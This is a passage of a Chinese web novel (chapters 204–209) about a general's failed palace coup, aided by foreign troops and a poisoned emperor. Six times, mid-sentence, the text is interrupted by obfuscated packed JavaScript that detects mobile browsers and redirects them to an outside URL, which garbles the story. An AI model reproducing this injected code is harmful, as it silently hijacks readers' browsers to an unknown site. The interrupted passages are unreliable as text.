一行车队很快便来到京城之外,却并未立刻入京,而是在附近的一处密林边缘停了下来。 收起思绪,孟希越朝着林中打了两声特定的呼哨,很快里面便传来了回应。 “威远将军!你终于来了!” 带着异域风味的口音响起,一个身材矮小结实,皮肤黝黑的将军快步从林子里走了出来。 他大笑着朝翻身下马的孟希越张开双臂,两人结结实实地拥抱了一下。 “石将军一路跋山涉水,远行来此,实在是辛苦了!”孟希越面上浮现出一层微笑,“将士们都还好吧?” “威远将军放心好了,好得很!” 矮小的石将军继续操着满口的南疆口音大笑,同时眯了眯眼,看向不远处京城高大的城墙。 “一想到要拿下大梁的国都,我和我的将士们,都激动得不得了啊!” “我们什么时候开始攻城?” 孟希越也回头望着京城方向,不过是看向那扇紧闭的城门。 “石将军稍安勿躁,待我去把门叫开!” 第二百零四章 准备反杀 自从东厂**案发生之后,谢无咎便借题发挥,将京城四门牢牢地H封锁了起来,只有固定的时间才允许进出,不仅如此,还要经过非常严格的检查。 眼下还没到开城门的时辰,不过孟希越的话却说得相当自信。 石将军和藏在山中的南疆大军是昨天晚上到的,他已经提前勘察了城门附近的情况,知道自己的人不好轻举妄动。 这会儿听着孟希越胸有成竹的口气,石将军不由得也越发好奇了起来。 这威远将军打算用什么样的办法,把大梁都城的门叫开? 石将军和孟希越一度是战场上的敌人,几个月前,大梁的军队还在和南疆鏖战,双方打得难舍难分,大有要同归于尽的架势。 南疆王下了死命令,只准赢不准输,饶是这般,南疆大军还是在大梁的攻势下开始缓缓后退,还渐渐地有了要一败涂地,溃不成军的架势。 可就在那最关键的时刻,孟希越忽然停了兵,只带着几个随从和副将来到了石将军的面前,要他为自己引见南疆王。 石将军的第一反应是这个大梁的将军疯了,明明马上就要打赢的仗,他居然要主动开口说和。 可这对南疆来说是有百利而无一害。 都不用权衡利弊,石将军便将他带到了南疆王的面前。 石将军不知道这两个人究竟密谈了什么,但几次过后,大梁的军队缓缓后撤,压在前线的负担骤然减轻。 南疆王又是几道圣旨下达,将石将军调回了后方,秘密地操练起了眼下这支神秘的队伍。 这支二十万人的大军不在南疆的任何一本记录名册上,相关将士更是在档案中查无此人,就连石将军自己都跟着一同销声匿迹。 直到出发之前,他才知道,原来自己带领操练了这么长时间的,是一支要奇袭大梁京城的兵马! 从南疆深处到大梁腹地,如此遥远的路途,想必谁也想不到他们会出现在这里! 而这就是孟希越的办法! 石将军已经对孟希越敬佩至极,这会儿眼巴巴地望着他,想再看看他还能想到什么计谋。 孟希越朝他和手下们点了点头,孤身一人朝着城门外而去。 这会儿城门前空无一人,更是连一点儿声音都没有传出来,高大的城墙内外安静得可怕。 孟希越抬起头看了看,确认城墙上没有人,便又摸出另外一个哨子吹了几声。 他离密林不算太远,石将军看着孟希越的动作,分明是吹响了那个哨子,却什么声音都没有传来。 这又是什么宝贝? 孟希越还在吹着,看模样还变幻了几次信号,周遭却依旧安安静静的。 石将军忍不住屏息凝神,死死盯着孟希越,生怕自己漏掉任何一点异样。 若是他能学到这位威远将军的五分,不,他只要三分功力,那等回到南疆,他也能大放异彩了! 似乎只是一瞬间,城墙上下什么都没有发生,可那扇一看就非常沉重的大门却吱呀吱呀地响了两声! 这门就这么开了? 石将军把眼睛瞪得更大,上下疯狂扫视着,却还是什么都没有看见! 城门却开得越来越大,孟希越回过头,朝石将军等人的藏身之处招了招手。 “石将军,我家将军有令,请您带着队伍,随小的们入城吧!” 孟希越身边的一个副将快步走到石将军面前,朝他拱了拱手。 按照两人先前说定的办法,石将军要带着自己的五万大军进城躲藏起来,以备不测,再和城外的十五万大军里应外合。 只等宫中一声令下,便齐齐动手,将京城牢牢地控制在他们手中! 只是,石将军还是想不通,这城门到底是怎么开的? “石将军?时间不等人。”见他还在沉默,那副将又低声催促了起来。 回过神,他暂时将一切念头抛开,朝着那副将点了点头,带着伪装好的兵马,悄无声息地从密林中走出,沿着官道往京城而去。 路上连半个人影都没有,显得这一行队伍格外扎眼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793433|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >穿过护城河的时候,石将军浑身上下的肌肉全都绷紧到最极点,生怕城墙上会忽然冒出弓箭手。 可结果却还是什么都没有,在一片死一样的沉寂之中,南疆的五万大军顺顺利利地穿过护城河,走进了京城的大道之上。 石将军落后几步,看着站在城门前,面色如常的孟希越,还有门后一个小兵打扮的年轻男人。 “石将军,赶快吧?”见他看来,孟希越又朝着京城的方向歪了歪脑袋。 “我等进城潜藏,孟将军下一步打算如何?” 转了转眼珠子,石将军低声关切地问道。 孟希越依旧轻笑着,眉宇间却显出了一丝傲慢。 “自然是继续替将军开路,这点将军无须挂怀,只要潜伏在城中,等我的信号便好。” 这石将军想从他身上偷师学艺,孟希越岂能不知? 只是,有些话不好说得太过分罢了。 石将军闻言,语气顿时有些讪讪的,“那我就等着将军的好消息了。” “一定,石将军快去吧,莫要耽搁时辰。”孟希越又一颔首。 目送着这五万南疆大军全部进到城中,孟希越才松了口气,调转目光看着自己提前放在五城兵马司中的内应。 “都搞定了!”这小内应十分上道,“今天的城墙值守全都中了药,这会儿睡得正香呢!” 孟希越点了点头,一面招手让自己的人靠过来,一面挪动脚步朝这内应又靠近了几分。 “等我们进城之后,南疆人便摸上城墙,把所有人都解决掉了,明白?” 那内应打了个哆嗦,又立刻点了点头,“是!” “去办吧,做得干脆些。” 又丢下一句话,孟希越便带着自己的车队,大摇大摆地进到城中,往皇宫方向而去。 这内应朝留下来的黑衣人们一摆手,“走,跟我上去!” 城墙之上,守城军打扮的隐月坐起身子,朝周围吹了一声几不可查的口哨。 “人来了,准备反杀。” 第二百零五章 三脚踹开宫门! 两炷香后。 依然埋伏在京城外的十五万南疆大军不知道从城墙上流下来的血并不是五城兵马司的,孟希越也并不知道城墙上都发生了什么。 他带着马车走过渐渐热闹起来的京城大街,最终停在了宫门前。 这个时候,宫门外已经有不少人正在等候,一看见孟希越出现便纷纷露出了激动的神情。 孟希越目光扫过全场,很快便落在了最前方的萧子景身上。 萧子景的脸色比先前还要苍白,眼下的青黑浓重得吓人,两颊也瘦得凹陷了下去。 他披麻戴孝,一身粗布白衣,手里抱着的是萧延早已经死去多日的尸体。 这会儿京中的天气虽然已经凉快了不少,但一连停放了数日还不曾下葬,萧延裸露在外的脸上已经出现了斑斑点点的痕迹,一阵淡淡的难闻气息也渐渐散播看来。 “世子……” 看着孟希越走近,萧子景攥了攥拳头,面上露出一个无比悲戚的神情。 “景平王这是怎么回事?” 二人的目光交汇一瞬,都带着彼此心知肚明的意味,孟希越故作疑惑地挑起了眉。 下一刻,萧子景双膝一软,扑通一声朝着孟希越跪倒了下去! “世子,本王听闻您今日要入宫与圣上见面,还请世子允许我一道同行,有些话,本王要问问圣上!” 他依旧抱着萧延,豆大的泪水落下,口气也十分生硬,摆明了是来者不善。 宫门前,一众大臣们你看看我,我看看你,彼此都交换着眼神。 事到如今,这位安王世子想做什么的心思已经是昭然若揭,还愿意跟在他身边的,自然也都是他的拥护者。 昭德帝消失在人前的时间太久了,几份圣旨,几道语焉不详的口谕已经不能让满朝文武安心。 尤其是这段时间以来,谢无咎和东厂更是活跃得过分。 再怎么说,安王世子也是皇家的血脉,比起被一个阉人把控朝堂,支持孟希越的人并不在少数。 只是这忽然冒出来的,披麻戴孝的景平王又是怎么回事? 现在是说私事的时候吗? 身后的议论声,孟希越权当自己什么都听不见,他俯身把萧子景从地上扶了起来。 闻着近在鼻端的恶臭气味,孟希越面不改色,只是等后退了两步才缓缓开口。 “既然如此,那就请景平王一起吧。” 他点了点头,萧子景又猛地吸了吸鼻子,转头便第一个朝着宫门方向而去。 大红的宫门紧紧合拢着,听不到里面有任何动静。 沉沉吸了一口气,萧子景猛地一脚踹了上去! “开门!我要见圣上!” 一众大人们不由得都被他这举动震得哆嗦了两下! 这,这可是宫门啊! 景平王这是受了多大的刺激,连宫门都敢踹? 萧子景这会儿也权当自己听不见身后的重重动静,抬脚又是重重一下,发了狠地朝着宫门再次踹了上去,“开门!” 他已经没有任何退路了,索性,就把事情做得再绝一点! 叫开宫门,无论如何,他都是给孟希越办事的大功臣,而经过他这么一番举动,孟希越还想要名声的话,便也绝不可能把他留在朝堂之中! 只是如此一来,他恐怕要一辈子背着一个疯子的名号了。 悲哀地想着,萧子景第三次抬起脚,狠狠踹在两扇宫门的空隙之处! 木头做的门板敌不过他的力气,被踹得摇摇欲坠,里面的门闩终于被这一脚踹断,砰地一声弹开来。 宫道出现在众人眼前,门里却依旧是空无一人。 没有御林军和金吾卫,甚至连东厂的锦衣卫都没有! 偌大的前朝死一样地寂静着。 怎么是这样的? 预想之中的激烈打斗场面并没有出现,不只是萧子景,就连孟希越都愣了愣。 情况好像有点不对劲? 一众大臣们也纷纷朝着孟希越看了过来,沉默地等待着他的下一步动作。 箭在弦上,孟希越定了定神,努力将心中又升起的那丝不安压下,大步朝敞开的宫门而去。 一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793434|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,两步,抬脚迈过宫门高高的台阶之时,孟希越的一颗心已经提到了嗓子眼。 眼下大门朝里敞开着,若是这门后藏了人—— 牢牢攥紧了袖中的**,孟希越却平安无事地跨过门槛,走进了宫中。 门后没有人,其他地方也还是没有。 松了口气,孟希越又感到方才那股不安越发猛烈地涌了上来。 怎么会没人? 可惜已经来不及再让他多想了,确认孟希越一切安全,萧子景便抱着萧延的尸身,毫不犹豫地第二个走了进来。 在他身后,大人们也齐齐跟随而上! 事到如今,孟希越只能定了定神,朝萧子景点点头,而后朝着乾清宫的方向走去。 “我的儿子,我的儿子啊——” 踉踉跄跄地越过孟希越的脚步,萧子景凄惨的哭声很快就在空荡荡的宫殿外回响了起来。 他脚步虚浮,动作却不慢,在萧子景的带领下,一行人很快便又一次来到了乾清宫外。 这一次,不需要孟希越再做任何努力,从殿中传来的声声嘶吼便让在场的大人们齐齐变了脸色。 “是圣上的声音!”有人瞪大双眼喊着,“这,圣上这是怎么了?” 除了声音,昭德帝嘶吼哀嚎的架势仿佛正在经受着莫大的痛楚,和大人们印象中圣上运筹帷幄的模样,实在是大相径庭。 孟希越的嘴角隐秘地勾了勾,面上是与众大人如出一辙的惊惶不安。 “圣上?圣上!您还好吗?末将要进去了!” 扯着嗓子喊了几声,知道自己的话注定得不到回应,孟希越掐着时间,等殿中又传来一声无比凄惨的长啼,便再也“控制不住”地冲上前去,一把推上了殿门! 心知殿门定是上了锁,孟希越用上了十成十的力气,却没想到手下一空,猛地将两扇大门推得砰地一声大敞开来! 一阵熟悉的,难闻的药味弥漫在鼻端,孟希越下意识地屏住了呼吸。 “圣上?”他有些瓮声瓮气地呼唤着。 烟雾中,有黑影一晃而过—— 第二百零六章 你们都来了? “受死!” 嘶哑尖细的嗓音猛地响起,孟希越本能地侧身一闪,抬脚便朝着那黑影踹了过去! 那声音顿时又化作一声凄厉的惨叫,从殿门前被踹到廊下,吐出一口血后便没了动静。 叮铃几声响起,一把雪亮的**从台阶上滚落,刀尖闪烁着绿色的光芒,一看便知道是淬了剧毒。 孟希越寒着脸上前两步,用脚将这黑影的脸翻转过来一瞧。 是德顺公公。 “阉贼,你们把圣上怎么样了?”他眉头一皱,立刻义正词严地质问了起来。 德顺公公眼神涣散,鲜血大口大口地从嘴里涌出,他奋力调转目光朝孟希越看来,而后猛地一口血沫吐在他的衣摆上。 “乱臣贼子!”他瞪大了一双眼睛,表情极其狰狞。 孟希越又是狠狠一脚踢在德顺公公的脸上,咔地一声,德顺公公的脑袋被踹得歪向一旁,以一个奇怪的弧度扭曲着。 他抽动几下,很快便没了气息。 “都是这帮阉人控制了宫中这么久,要对圣上不利!” 定了定神,孟希越一边说着话,一边拔出随身的长剑,再次朝着乾清宫而去。 这次,大门敞开,再无障碍。 终于跨进殿门,孟希越也不由得屏住了呼吸,小心翼翼地打量着周围的情况。 方才那阵烟雾虽然已经散开,但殿中依然萦绕着挥之不去的淡淡药味,闻着这不算陌生的味道,孟希越的一颗心提得高高的。 这是他在南疆花了不少功夫才找到的一种秘药,哪怕是在南疆也鲜少有人知晓。 不管是什么人,服用这种药粉之后便再也离不开了,且只能加大剂量,最终只能在极度的痛苦和幻觉之中死去。 盘算着时间,孟希越心道昭德帝这会儿只怕已经到了最艰难的阶段,这个时候往往也是最危险的。 昭德帝会在什么地方? 目光在殿中来回游移着,孟希越还没找到目标,耳边倒是先响起了那不算熟悉的声音。 “希越。” 是昭德帝? 可这声音怎么如此平静? 愣了一下,孟希越这才朝着声音发出的屏风之后绕了过去。 昭德帝果然正躺在床榻之上,天气还不算冷,他身上却盖着厚厚的锦被。 他的脸色十分可怕,青白晦暗,看上去几乎找不到活人的气息。 可这会儿功夫,两人四目相对,昭德帝却弯了弯嘴角,露出一个微笑来。 “果然是你,”他定定地看着孟希越,“看来,朕的怀疑并没有错。” 昭德帝的声音带着控制不住的颤抖。 孟希越放眼四望,昭德帝的床边空无一人,再抬起眼的时候,语气便也跟着平静了不少。 “陛下,您看起来情况非常不妙,宫中早已经被东厂和太监们联手把持,微臣是来救您的。” 一边说着话,孟希越一边别有深意地看着昭德帝的双眼。 若是他知趣,顺着自己的话圆下去,自己或许还能让这位圣上死得痛快一些。 昭德帝的目光依旧落在孟希越身上,停顿片刻之后,他猛烈地抽着气,低低笑出了声。 这笑声又逐渐变得嘹亮,穿过敞开着的殿门,落入站在台阶下的每一个大臣们耳中。 “陛下的情况看来真的是非常不好了。” 眼看昭德帝没有和自己说话的心思,孟希越便也不再试图和他交流,微微抬高了几分声音,想压住昭德帝的笑声。 “来人——” “慢着。” 孟希越的一句话还没说完,昭德帝忽然收了笑,眉眼间却依然带着一股坦然的神情。 他笑着朝孟希越看了过去,语气淡淡,却能将他的话瞬间截住。 “你想干什么?”昭德帝歪着脑袋,“只是为了送朕上路的话,还是现在就动手吧,有第三个人在场的话,朕怕你日后的面子过不去、” 这话说得十分不客气,孟希越的表情也随之变得难看起来。 昭德帝面上的笑容却更加放松。 “费尽心思算计了这么长时间,你的阴谋诡计终于得逞了,还不赶快动手?免得错失良机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800867|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “圣上现在对微臣说这些,可是已经黔驴技穷了?” 被连番嘲讽,孟希越实在是忍不住了,眉头一挑,冷笑着朝昭德帝身上投去几道目光。 “也是,以圣上现在的能力,还能站得起来吗?恐怕有些困难了吧?” 昭德帝竟然笑眯眯地点了点头,“是啊,朕站不起来,你刚刚还杀了朕身边唯一的下人,现在,就劳烦尊贵的安王世子想办法把朕弄出去吧。” 他话音落下,孟希越不知道想到了什么,脸上的表情变得更加难看。 昭德帝的笑容再度加深,“怎么,又不敢了?听朕说了这么一番话,感觉朕还有阴谋?” 心事被说中了,孟希越不由得深吸了一口气。 “你看,朕连站都站不起来,还能对你干什么呢?” 昭德帝依旧笑眯眯的,口中说出的话却一句比一句嘲讽。 孟希越抿着嘴唇盯着他看了半晌,终于从昭德帝的脸上看出了一丝挑衅。 这是在耍着他玩呢! 心头火起,孟希越大步上前,扬手就想朝着昭德帝的脸上扇去! 动作做到一半,看着昭德帝略带期待的神情,孟希越忽然又顿住了手。 昭德帝如此老神在在,实在是不能不让他心里不安。 可他还能有什么办法? 咬了咬牙,孟希越朝自己的两个侍卫使了个眼神。 这两人立刻转头,不知道到外面说了什么,片刻之后,由萧子景带头,方才站在殿外的文武大臣们全都走了进来。 屏风被移开,床边的帷幔被勾起,昭德帝躺在床榻之间,和众位大人们一一对上了视线。 “来得还真不少。” 昭德帝视线缓缓移动,语气似是感叹,“看来,我们安王世子的威信着实不低啊。” 亲眼见到陛下,各位大臣们先是对昭德帝虚弱憔悴的模样十分震惊,而后听着他这阴阳怪气的问候,又有不少人慌慌张张地低下头去。 昭德帝没去管这些人,将目光落在了站在群臣最后的萧子景身上。 第二百零七章 莫非是世子暗恋我? 看着萧子景的时候,昭德帝的表情并不见多少意外,直到目光落在被他抱着的萧延身上,才微微一怔。 众人的目光这时候也已经落到了萧子景的身上,他咬了咬牙,猛地上前几步,冲到昭德帝的面前。 “看看你干的好事!” 张了张口,萧子景一时间不知道该怎么称呼,索性便直接切入了正题。 “我的儿子!你害**我的儿子!”他把抱了一路的萧延的尸体猛地怼到了昭德帝的鼻尖下面。 昭示着尸体已经腐烂多时的气味传来,昭德帝终于皱起了眉头,朝后仰了仰身子,面上也露出不适的神情。 “你这是什么意思?”他蹙眉看着萧子景。 萧子景又抽了抽鼻子,忽然露出一个无比冷酷的神情。 “你和叶晚竹私通已久,早就觉得我和王府都是碍事之人了吧?萧延是我的儿子,也是叶晚竹的,你看他心烦,所以千方百计地想害死他,是不是?” 昭德帝:…… 饶是他自认为已经做好了相对充足的准备,还是被萧子景的话震得两眼发直,什么都说不出来。 这位刚才说,他都干了什么? 私通叶晚竹,**萧延? 这都是什么乱七八糟的! **之后,情绪大半被药物控制,昭德帝已经浑浑噩噩了许久,连说话思考都变得极其困难。 谁知道,眼下听了萧子景的这一席话,硬生生地让已经病入膏肓的他清醒了过来。 “简直是一派胡言!” 昭德帝甚至被荒谬得生出了几分力气,怒瞪着萧子景,“孟希越给了你多少好处,让你这样毫无底线地替他办事?” 连这样的话都能说的出来! 萧子景咬了咬牙,低头又看看萧延,两行泪水顿时涌了出来。 “我有证据!”他转头朝着一众文武大臣们道,“那天晚上杀了我儿的人,是东厂的隐月!我亲眼看见的!” 孟希越闻言差点儿闭了闭眼。 这能叫证据吗? 萧子景觉得自己的眼睛有多金贵不成? 好在一众大人们已经被他先前的那番话冲击得傻了眼,这会儿还能思考的人已经不多了,闻言也没发现什么问题,只是目光变得更加呆滞。 萧子景抓住机会,继续一股脑地把自己猜想中的,昭德帝和叶晚竹的“私情”全都说了出来。 他只有这一次机会了! 经过这几个月来的反复自我确认,萧子景已经彻底相信了自己关于这件事的一切猜想,此时说着话,他甚至不觉得自己是在猜测,一切都是板上钉钉的事实! 萧子景的语气也因而无比笃定,听着听着,大人们的表情都起了变化。 毕竟圣上和曾经的景平王妃之间,的确也不是毫无往来! 不少大人们还都记得圣上痛斥景平王,还让挨了板子的他被拉去游街示众的那件事呢! 更别说还有圣上曾经赐给景平王妃的那根金杖了。 如此想来,这其中,好像的确有些问题? 孟希越眼睁睁地看着一众大人们硬生生地被萧子景的三寸不烂之舌带偏了思路,竟然当真怀疑起了圣上和叶晚竹,不由得嘴角抽搐,一时间不知道该说什么才好了。 这手歪招竟然真的误打误撞,起了这样大的效果! 定了定神,找了个萧子景说话的间隙,孟希越清了清嗓子,摆出一副无比震惊的神色。 “陛下,您怎么能这样做?强夺臣妻,这,这实在是天理难容的事情啊!” 昭德帝这会儿已经被气得眼冒金星,连半点和眼前这些人说话的意思都没有了。 听着孟希越一连又质疑了几声,再不断挑拨着大臣们的情绪,他才终于冷笑一声,掀起眼皮看了过去。 “孟希越啊孟希越,”昭德帝的语气凉冰冰的,“你好歹要谋求的是朕的龙椅宝座,是大梁的江山社稷,就用这种下三滥的招数?你不嫌丢人,朕还嫌你给孟家的列祖列宗败兴呢!” “你要朕下去之后怎么对先皇说?说咱们大梁的祖宗基业,都交到一个一肚子男盗女娼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800868|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷鸡摸狗的东西手里去了?” “听朕一句劝,你要是还想睡个安稳觉,朕死之后,你趁早改掉国号,自己去开辟一个丢人现眼的新时代。” 随着昭德帝这一句句话落下,殿中的氛围再次变得死一样地寂静。 文武百官们纷纷怔住,一双眼睛左右摇晃,根本不知道该看向什么地方才好。 听到了这样的话,他们会不会一出殿门,就被安王世子全部**? 孟希越攥着拳头站在昭德帝床前,浑身上下都在不自觉地发着抖。 昭德帝嫌弃的语气实在太过强烈,他张了张口,准备好的话已经什么都说不出来了。 “还有你!” 一不做二不休,昭德帝的眼神又朝着同样已经傻眼了的萧子景望了过去。 有刚才那一大段话在先,萧子景本能地挺直了胸膛,呼吸都变得沉重起来,等待着迎接昭德帝的挖苦嘲讽。 昭德帝上下将他又打量了一番,嘴角一勾,一声冷笑迸出。 “你是纯粹的废物!” 萧子景闻言差点儿没背过气去! 这还不如也大张旗鼓地骂他一顿呢! “圣上你说一千道一万,其实并没有证据能证明景平王的话都是假的,是不是?” 孟希越这时候死死地攥着自己的拳头,才能在开口时勉强保持声音的平稳。 “您说了这么多,不过是情绪的宣泄,恐怕,是心虚了吧?” 昭德帝继续冷笑着,拒绝和孟希越搭腔。 孟希越都还没心虚呢,他有什么好心虚的? “圣上这是要承认了的意思吧?” 昭德帝不说话,孟希越的声音逐渐变得响亮,“既然是这样,那就请您解释解释,叶晚竹到底在什么地方?我想,发生在景平王身上的事情,着实需要有人负责才对——” “逼宫现场,当着这么多大人的面儿,世子竟然还对我的去处念念不忘?” “依我看,莫不是你一直在暗恋我,这才想出这么一套复杂的阴谋吧?” 第二百零八章 怎么都来了! 孟希越身子一僵,难以置信地慢慢转过脑袋,朝着殿门前看了过去! 叶晚竹怎么会在这个地方,在现在这个时间? 这怎么可能? “世子的表情很意外,是没想到我会来,还是没想到我会戳穿你?” 挑眉笑着,叶晚竹大步跨进了殿中,不紧不慢地朝着孟希越走了过去。 从南疆到京城,一路狂奔,终于赶上了。 不动声色地吐了口气,叶晚竹很快便在孟希越面前站定下来。 “世子怎么不说话?被我发现你的暗恋,羞愧欲**?”她又轻笑一声,“那就请世子赶紧**吧。” 此话一出,孟希越涣散的眼神终于变得清明了起来。 他却依旧一瞬不眨地看着叶晚竹,眼底的神情又渐渐变得十分难看。 从京城到宫城,这一路都应该已经被自己的人掌控住,叶晚竹是怎么出现在这里的? 想到这儿,一阵不祥的预感又从孟希越的心头升了起来。 “怎么,看见我,世子舍不得死?”叶晚竹的态度仍然是戏谑的,“那好办,我来帮你好了,毕竟,想到有世子这样的东西在关注我,实在是让人心里不爽。” “景平王妃——” “诶,不敢,不敢。” 孟希越回过神来刚想开口说话,便又被叶晚竹截住了话头。 “顶着这个景平王妃的头衔,就得被任意编排造谣,景平王想让我和谁有私情,我就得和谁有私情,这个王妃之位,我可胜任不了。” 叶晚竹的目光这会儿又落到了已经完全傻眼的萧子景身上。 “王爷刚才说的话,有一条能拿出切实的证据吗?” 萧子景不由得下意识地思索起来。 他刚才都说了什么—— “嗷!” 眼前一黑,叶晚竹动作飞快地冲上前来,抬脚就把萧子景踹翻在地! 萧子景手中还抱着萧延的尸体,二人顿时滚成一团,那场面一时间惨不忍睹。 “既然没有,王爷如此污蔑我,甚至连圣上都敢栽赃,我就要好好地从王爷身上讨回公道了!” 一边说着话,叶晚竹一边又是几脚狠狠地踹了上去! 她已经在乾清宫外站了一段时间,把萧子景刚才的话一字不漏地全都听到了耳中。 叶晚竹这才明白,几个月前萧子景莫名其妙的态度是怎么回事。 说她和昭德帝私通,小花是他们两个的孩子? 亏得萧子景能把这些事情联想到一起,还说得有鼻子有眼的! “王爷,你不去说书,实在是太屈才了啊!” 一脚一脚地踹着,叶晚竹语气狠厉,萧子景被打得毫无还手之力,只能捂着脑袋,被叶晚竹从昭德帝床边一直踹到了墙角。 他连连哀嚎躲避着,却怎么都躲不开叶晚竹的脚,很快就觉得喉咙中漫起了血腥味! “住手!” 眼见萧子景被打得进气少,出气多,连喊都喊不出来了,孟希越这才反应过来,要上前把叶晚竹拉开。 听着身后传来的脚步声,叶晚竹提前侧身一闪,孟希越伸出来的手就这么落了空。 “世子这是要做什么?趁机揩油?” 斜晲着孟希越,叶晚竹脚下也没闲着,继续朝萧子景脸上狠狠踩下! 萧子景终于又发出一声凄惨的哀嚎,伴随着喀嚓的碎裂声,他的鼻子断了。 叶晚竹又朝着脸色变得十分难看的孟希越笑了笑。 “世子心里暗恋就够了,别表现出来,怪恶心的。” 既然孟希越选择用这种肮脏下作的手法,抹黑对手的名声,那就不能怪她以其人之道还治其人之身了! 孟希越的身子不住地发着抖,很难说究竟是因为局势的变化,还是单纯地被叶晚竹气的。 “你这该死的女人好生嚣张!以为仗了圣上的势就能为所欲为不成?”他眼珠子一转,“昭德帝如此倒行逆施,为了一个女人不惜污蔑,残害当朝大将,实在是令人——”发指! 这两个字没能从孟希越的口中说出来,被外面隐隐传来的喊杀声止住了。 怎么回事? 孟希越猛地转头朝殿外的方向看了过去! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800869|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京城守军早已经被他控制,城中还有石将军带领着的五万南疆兵马,训练有素,御林军和金吾卫压根不是他们的对手! 这个时候,怎么会有喊杀声? 叶晚竹眼疾手快地上前一步,重重地一拳挥向孟希越的侧脸! 终于来了! 一个月前,在云海泊窥见了南疆派兵前往大梁的消息,叶晚竹便抛开了南疆的一切,骑快马没命地朝京城赶来! 这消息实在是骇人听闻,虽然给谢无咎传了信,但叶晚竹还是不放心,得亲自回京才行。 这一路上,她和南疆派出的军队擦肩而过几次,终于抢先一步赶回了京城! “安王世子,你的十五万盟友已经被拦在了城外,还是别想着他们会来救你了!” 听着这话,孟希越不由得心头一紧,下意识地劈手朝着叶晚竹砍了过去! 叶晚竹闪身躲过,朝着殿外高喝一声,下一刻,浑身血腥气息的隐月走了进来。 “啊!” 看见他手中拎着的一串人头,不少大人们控制不住地发出了惊呼声。 隐月狞笑着把那些人头丢在地上。 “都来瞧瞧吧,”他语气尖刻,“想上城楼袭击的南疆人!幸亏被我等及时拦下,否则这个时候,京城已经被这帮南疆人杀得血流成河了!” 这会儿太阳已经升了起来,宫中一片光明,能让各位大人们都清清楚楚地看见地上人头们的面容。 无一例外,全都是南疆人的长相! “这,这……”人群中顿时响起了数道议论纷纷的声音。 “安王世子孟希越趁领兵之际,通敌叛国,私下和南疆达成合作,借来二十万兵力包围京城,要强行**篡位,众位大人,你们若是还执迷不悟,想和这个逆贼继续同流合污,那可就不要怪本督下手不客气了。” 就在这时,谢无咎优哉游哉的声音从殿外传来,听着这声音,孟希越的表情也变得一片灰败! 大步走进殿中,谢无咎背着的双手朝前伸开,上面赫然放着那根熟悉的金杖。 “叶晚竹听,听旨!” 第二百零九章 不死不休! 伴随着一阵急促的咳嗽声,昭德帝沉沉开了口。 叶晚竹从进殿开始就忍着不往那边看去,这会儿终于转过了视线。 在南疆接到谢无咎的那封信,叶晚竹便知道不妙,可惜他们在南疆发生了太多的事情,她并没有多少寻找解药的机会。 看着昭德帝憔悴不堪的模样,叶晚竹的心里也十分不是滋味。 圣上在叶家暂住过一段时日,那时候叶晚竹还是一团孩子气,昭德帝并不嫌弃,还带着她读过书写过字,在花园里玩过捉迷藏。 如今这位九五之尊却被折磨得只剩下一副皮包骨头的样子了。 “臣女接旨。” 压下心中的五味杂陈,叶晚竹上前两步。 昭德帝又咳嗽了几声,表情扭曲,不用看也知道是正承受着巨大的折磨。 他呼吸粗重,回荡在无人说话的殿中。 孟希越这个时候已经被隐月一把拿住,站在原地动弹不得,只能用一双眼睛隐秘地在昭德帝身上扫来扫去。 昭德帝毫无疑问是中了那奇毒,也被折磨了很长的一段时间。 